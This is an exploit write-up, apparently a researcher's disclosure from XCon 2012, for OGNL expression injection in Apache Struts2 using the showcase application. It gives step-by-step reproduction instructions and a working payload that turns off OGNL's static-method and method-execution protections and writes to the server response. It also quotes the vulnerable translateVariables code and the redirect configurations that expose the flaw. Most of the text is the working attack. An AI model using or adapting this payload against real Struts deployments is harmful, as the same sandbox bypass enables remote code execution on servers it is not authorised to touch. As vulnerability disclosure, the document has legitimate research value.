this method was published at xcon2012 xcon.xfocus.net.
kxlzx http://www.inbreak.net
flow this and step by step:
1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3, open url:
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
4, write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
5, submit and all will done.
this method:
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
}
look two char "$" and "%"
and
this method:
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
for (char open : openChars) {
.........
while (true) {
..........
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
............
if user input is "%{expr}"
this will execute ognl like:
${%{expr}}
this need devloper code like:
<action name="redirect" class="net.inbreak.RedirectAction">
<result name="redirect" type="redirect">${redirectUrl}</result>
</action>
or like:
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
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kxlzx at alibaba security team.
my blog :http://www.inbreak.net